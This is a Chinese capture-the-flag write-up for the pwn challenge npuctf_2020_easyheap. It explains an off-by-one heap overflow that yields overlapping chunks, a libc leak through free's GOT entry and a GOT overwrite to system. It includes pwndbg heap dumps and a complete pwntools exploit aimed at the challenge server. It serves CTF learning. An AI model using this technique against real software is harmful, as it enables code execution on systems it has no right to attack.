npuctf_2020_easyheap详解

off by one的题,,,

参考视频:off by one + 改got表的heap做法 例题:npuctf_2020_easyheap

程序流程

  1. create:

    申请两个chunk: 一个heaparray[i](固定0x10大小),一个是申请的大小(只能申请0x18或0x38)

  2. edit:

    read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);

    存在off by one

  3. show:根据idx,打印chunk大小和内容

  4. delete:free后,将chunk指针置零了。

漏洞利用

利用off by one,可以修改下一个chunk头指针的大小。

例如,一开始可以申请两个0x18的块。当修改chunk0,溢出到chunk1的头指针大小为0x41,那么chunk1free后重新申请回来,chunk1的内容会和chunk1头指针重叠,可以修改chunk1的指针。

溢出修改chunk1指针为free_got表,泄露地址,计算system

修改chunk内容从而,修改got表内容为system

在chunk0中放入“/bin/sh\x00”,则free(0)即可=>system("/bin/sh\x00")

1.查看保护

Partial RELRO => 可以修改got表

winter@ubuntu:~/buu$ checksec npuctf_2020_easyheap
[*] '/home/winter/buu/npuctf_2020_easyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
2.申请两个0x18的块

一共生成了四个chunk,两个heaparray,两个存在内容

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1560000
Size: 0x251

#chunk0 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560250
Size: 0x21

#chunk0 data
Allocated chunk | PREV_INUSE
Addr: 0x1560270
Size: 0x21

#chunk1 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560290
Size: 0x21

#chunk1 data
Allocated chunk | PREV_INUSE
Addr: 0x15602b0
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x15602d0
Size: 0x20d31
pwndbg> x/30gx 0x1560250
0x1560250:	0x0000000000000000	0x0000000000000021
0x1560260:	0x0000000000000018	0x0000000001560280
0x1560270:	0x0000000000000000	0x0000000000000021
0x1560280:	0x0000000a61616161	0x0000000000000000
0x1560290:	0x0000000000000000	0x0000000000000021
0x15602a0:	0x0000000000000018	0x00000000015602c0
0x15602b0:	0x0000000000000000	0x0000000000000021
0x15602c0:	0x0000000a61616161	0x0000000000000000
0x15602d0:	0x0000000000000000	0x0000000000020d31
0x15602e0:	0x0000000000000000	0x0000000000000000
0x15602f0:	0x0000000000000000	0x0000000000000000
3.通过chunk0 off by one

修改chunk0的内容,首先放入接下来用的参数。

然后溢出一个字节,修改chunk1 heaparray的大小为0x41

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1327000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x1327250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1327270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1327290
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x13272d0
Size: 0x20d31

pwndbg> x/30gx 0x1327250
0x1327250:	0x0000000000000000	0x0000000000000021
0x1327260:	0x0000000000000018	0x0000000001327280
0x1327270:	0x0000000000000000	0x0000000000000021
0x1327280:	0x0068732f6e69622f	0x0000000000000000	#"/bin/sh\x00"
0x1327290:	0x0000000000000000	0x0000000000000041	#溢出一个字节
0x13272a0:	0x0000000000000018	0x00000000013272c0
0x13272b0:	0x0000000000000000	0x0000000000000021
0x13272c0:	0x0000000a61616161	0x0000000000000000
0x13272d0:	0x0000000000000000	0x0000000000020d31
0x13272e0:	0x0000000000000000	0x0000000000000000
0x13272f0:	0x0000000000000000	0x0000000000000000

存放所有的heaparay指针,有两个

pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>:	0x0000000000bf0260	0x0000000000bf02c0
0x6020b0 <heaparray+16>:	0x0000000000000000	0x0000000000000000
0x6020c0 <heaparray+32>:	0x0000000000000000	0x0000000000000000
0x6020d0 <heaparray+48>:	0x0000000000000000	0x0000000000000000
0x6020e0 <heaparray+64>:	0x0000000000000000	0x0000000000000000
4.释放chunk1

chunk1通过上面的全局变量,找到的地址还是不变,但是大小以及被修改为0x41,会按照0x41的大小被释放

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x21d9000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x21d9250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x21d9270
Size: 0x21

Free chunk (tcache) | PREV_INUSE
Addr: 0x21d9290
Size: 0x41
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x21d92d0
Size: 0x20d31

pwndbg> x/30gx 0x21d9250
0x21d9250:	0x0000000000000000	0x0000000000000021
0x21d9260:	0x0000000000000018	0x00000000021d9280
0x21d9270:	0x0000000000000000	0x0000000000000021
0x21d9280:	0x0068732f6e69622f	0x0000000000000000
0x21d9290:	0x0000000000000000	0x0000000000000041
0x21d92a0:	0x0000000000000000	0x00000000021d9010	#释放
0x21d92b0:	0x0000000000000000	0x0000000000000021
0x21d92c0:	0x0000000000000000	0x00000000021d9010	#释放
0x21d92d0:	0x0000000000000000	0x0000000000020d31
0x21d92e0:	0x0000000000000000	0x0000000000000000
0x21d92f0:	0x0000000000000000	0x0000000000000000
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>:	0x00000000021d9260	0x0000000000000000		#另一个被清零了
0x6020b0 <heaparray+16>:	0x0000000000000000	0x0000000000000000
0x6020c0 <heaparray+32>:	0x0000000000000000	0x0000000000000000
0x6020d0 <heaparray+48>:	0x0000000000000000	0x0000000000000000
0x6020e0 <heaparray+64>:	0x0000000000000000	0x0000000000000000
5.重新申请0x38的块

再次申请,会把之前释放的0x41和0x21重新申请回来。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbf0000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0xbf0250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbf0270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbf0290
Size: 0x41

#找不到下一个,,,但是在

Top chunk | PREV_INUSE
Addr: 0xbf02d0
Size: 0x20d31
6.通过0x41的块,溢出覆盖0x21的块

但是由于0x41的chunk与0x21的chunk重叠了,故可以通过0x41的chunk修改0x21的chunk

但是0x21的chunk存放的是chunk1的指针,故可以让chunk1指针指向free got表,达到泄露。

pwndbg> x/30gx 0xbf0250
0xbf0250:	0x0000000000000000	0x0000000000000021
0xbf0260:	0x0000000000000018	0x0000000000bf0280
0xbf0270:	0x0000000000000000	0x0000000000000021
0xbf0280:	0x0068732f6e69622f	0x0000000000000000
0xbf0290:	0x0000000000000000	0x0000000000000041
0xbf02a0:	0x6161616161616161	0x6161616161616161
0xbf02b0:	0x6161616161616161	0x6161616161616161
0xbf02c0:	0x0000000000000038	0x0000000000602018#free_got
0xbf02d0:	0x000000000000000a	0x0000000000020d31
0xbf02e0:	0x0000000000000000	0x0000000000000000
0xbf02f0:	0x0000000000000000	0x0000000000000000
[DEBUG] Received 0x15d bytes:
    00000000  53 69 7a 65  20 3a 20 35  36 0a 43 6f  6e 74 65 6e  │Size│ : 5│6·Co│nten│
    00000010  74 20 3a 20  30 ba fd 89  0a 7f 0a 44  6f 6e 65 21  │t : │0···│···D│one!│
    #泄露到了free的地址
show(1)

free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
7.修改free_got表为system地址

此时chunk1的指针指向free_got,故修改chunk1的内容,就可以修改free_got表内容,修改为system地址

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbb9000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0xbb9250
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbb9270
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xbb9290
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0xbb92d0
Size: 0x20d31

pwndbg> x/30gx 0xbb9250
0xbb9250:	0x0000000000000000	0x0000000000000021
0xbb9260:	0x0000000000000018	0x0000000000bb9280
0xbb9270:	0x0000000000000000	0x0000000000000021
0xbb9280:	0x0068732f6e69622f	0x0000000000000000
0xbb9290:	0x0000000000000000	0x0000000000000041
0xbb92a0:	0x6161616161616161	0x6161616161616161
0xbb92b0:	0x6161616161616161	0x6161616161616161
0xbb92c0:	0x0000000000000038	0x0000000000602018#chunk1指针->free_got->system
0xbb92d0:	0x000000000000000a	0x0000000000020d31
0xbb92e0:	0x0000000000000000	0x0000000000000000
0xbb92f0:	0x0000000000000000	0x0000000000000000
pwndbg> x/30gx 0x0000000000602018
0x602018:	0x00007fcb5dae9550	0x000000000040060a
pwndbg> x/30gx 0x00007fcb5dae9550
0x7fcb5dae9550 <__libc_system>:	0xfa66e90b74ff8548	0x0000441f0f66ffff

完整exp

from pwn import *
# p = process("./npuctf_2020_easyheap")
p = remote("node3.buuoj.cn",29535)
context.log_level = 'debug'

elf = ELF("./npuctf_2020_easyheap")
# libc = ELF("./libc-2.27.so")
# p = process(['./npuctf_2020_easyheap'],env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
	p.recvuntil("Your choice :")
	p.sendline(str(choice))

def create(size,content):
	cmd(1)
	p.recvuntil("only) :")
	p.sendline(str(size))
	p.recvuntil("Content:")
	p.sendline(content)

def edit(idx,content):
	cmd(2)
	p.recvuntil("Index :")
	p.sendline(str(idx))
	p.recvuntil("Content:")
	p.sendline(content)

def show(idx):
	cmd(3)
	p.recvuntil("Index :")
	p.sendline(str(idx))

def delete(idx):
	cmd(4)
	p.recvuntil("Index :")
	p.sendline(str(idx))

create(0x18,"aaaa")
create(0x18,"aaaa")

payload = '/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)

delete(1)
payload = 'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))

edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)
p.interactive()

题型

特点:

  1. 可以修改got表
  2. malloc两次:一个node,一个content

方法:

  1. 利用node和本体互换 => 泄露libc
  2. 修改free_got=>system

off by one题挺多,多练习,this is the first。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值